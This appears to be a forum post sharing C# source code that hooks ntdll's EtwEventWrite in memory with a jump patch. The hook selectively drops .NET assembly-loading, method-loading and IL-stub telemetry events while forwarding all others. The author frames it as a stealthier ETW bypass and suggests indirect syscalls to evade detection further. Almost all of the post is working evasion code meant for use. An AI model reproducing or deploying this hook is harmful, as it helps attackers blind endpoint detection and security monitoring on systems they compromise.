Still utilizes a patch, but I guess its activity is less sus because rather than a standard return, its a hook that selectively forwards events.
Dynamic execution of methods is a temporary ; just replace with the indirect syscalls
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.IO;
using System.Runtime.InteropServices;
using System.Reflection;
using System.DirectoryServices.AccountManagement;
using System.DirectoryServices;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.IO.Compression;
using System.Security;
using System.Security.Permissions;
using System.Security.Principal;
namespace NimbleFunctions
{
public class Program
{
static void Main(string[] args)
{
Hook hk = (Hook)patchETW();
}
public static IntPtr getFuncLocation(string dll, string functionName)
{
Type win32Type = typeof(void).Assembly.GetTypes().FirstOrDefault(type => type.FullName == "Microsoft.Win32.Win32Native");
var win32Properties = win32Type.GetRuntimeProperties();
var win32Methods = win32Type.GetRuntimeMethods();
var hGetModuleHandle = win32Methods.FirstOrDefault(type => type.Name == "GetModuleHandle");
var hGetProcAddress = win32Methods.FirstOrDefault(type => type.Name == "GetProcAddress");
IntPtr dllLocation = (IntPtr)hGetModuleHandle.Invoke(null, new object[] { dll });
IntPtr functionLoc = (IntPtr)hGetProcAddress.Invoke(null, new object[] { dllLocation, functionName });
return functionLoc;
}
public static object dynamicExecuteDllMethod<T>(string dll, string functionName, object[] arguments) where T:Delegate
{
IntPtr functionLoc = getFuncLocation(dll, functionName);
var function = Marshal.GetDelegateForFunctionPointer(functionLoc, typeof(T));
return function.DynamicInvoke(arguments);
}
public static uint MyEtwEventWrite(IntPtr handle, Structs.EVENT_DESCRIPTOR eventDescriptor, ulong userDataCount, IntPtr UserData)
{
// <https://learn.microsoft.com/en-us/dotnet/fundamentals/diagnostics/runtime-loader-binder-events>
Console.WriteLine("bruh");
const ushort ModuleLoad_V2 = 152;
const ushort AssemblyDCStart_V1 = 155;
const ushort MethodLoadVerbose_V1 = 143;
const ushort MethodJittingStarted = 145;
const ushort ILStubGenerated = 88;
uint result = 0;
switch (eventDescriptor.Id)
{
case AssemblyDCStart_V1: // Block CLR assembly loading events.
break;
case MethodLoadVerbose_V1: // Block CLR method loading events.
break;
case ILStubGenerated: // Block MSIL stub generation events.
break;
default: // Forward all other ETW events using EtwEventWriteFull.
result = EtwEventWriteFull(handle, eventDescriptor, 0, IntPtr.Zero, IntPtr.Zero, userDataCount, UserData);
break;
}
Console.WriteLine("bruh2");
return result;
}
public static Hook patchETW()
{
IntPtr ptrEtwEventWrite = getFuncLocation("ntdll.dll", "EtwEventWrite");
Hook hk = new Hook(ptrEtwEventWrite);
hk.CreateHook<Delegates.EtwEventWrite>(typeof(Program).GetMethod(nameof(MyEtwEventWrite)));
return hk;
}
}
public class Hook
{
byte[] originalBytes = new byte[12]; //Original bytes to unhook the function
IntPtr addressToHook; //Address the JMP patch is being written on
public IntPtr addressToJump; //Keep for cleaning
public Delegate deleg; //Delegate (function prototype) of the method we are hooking
public Hook(IntPtr addressToHook)
{
this.addressToHook = addressToHook;
//addressToJump = Marshal.GetFunctionPointerForDelegate<Delegates.MessageBox>(Program.MyMessageBox);
//Doesn't work because it using callback vs reference to a var
for (int i = 0; i < originalBytes.Length; i++)
{
originalBytes[i] = Marshal.ReadByte(IntPtr.Add(addressToHook, i));
}
}
public void CreateHook<T>(MethodInfo infoOfMethod) where T: Delegate
{
deleg = (T)Delegate.CreateDelegate(typeof(T), infoOfMethod);
addressToJump = Marshal.GetFunctionPointerForDelegate(deleg);
byte[] addressToJumpInBytes = BitConverter.GetBytes((long)addressToJump);
Console.WriteLine("Original Function at 0x{0:X}", (long)addressToHook);
Console.WriteLine("Jumping to 0x{0:X}", (long)addressToJump);
byte[] patch = new byte[12] {
0x48, 0xb8, addressToJumpInBytes[0], addressToJumpInBytes[1], addressToJumpInBytes[2], addressToJumpInBytes[3], addressToJumpInBytes[4], addressToJumpInBytes[5], addressToJumpInBytes[6], addressToJumpInBytes[7], // mov rax, <Hooked function address>
0xFF, 0xE0 // jmp rax
};
Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)patch.Length, Constants.PAGE_READWRITE, (uint)0 });
Marshal.Copy(patch, 0, addressToHook, patch.Length);
Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)patch.Length, Constants.PAGE_EXECUTE_READ, (uint)0 });
}
public void DisposeHook()
{
Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)originalBytes.Length, Constants.PAGE_READWRITE, (uint)0 });
Marshal.Copy(originalBytes, 0, addressToHook, originalBytes.Length);
Program.dynamicExecuteDllMethod<Delegates.VirtualProtect>("kernel32.dll", "VirtualProtect", new object[] { addressToHook, (UIntPtr)originalBytes.Length, Constants.PAGE_EXECUTE_READ, (uint)0 });
}
}
}
Here are the delegates and data structures
[StructLayout(LayoutKind.Explicit, Size = 16)]
public struct EVENT_DESCRIPTOR
{
[FieldOffset(0)] public ushort Id;
[FieldOffset(2)] public byte Version;
[FieldOffset(3)] public byte Channel;
[FieldOffset(4)] public byte Level;
[FieldOffset(5)] public byte Opcode;
[FieldOffset(6)] public ushort Task;
[FieldOffset(8)] public long Keyword;
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint MyEtwEventWrite(IntPtr handle, Structs.EVENT_DESCRIPTOR eventDescriptor, ulong userDataCount, IntPtr UserData);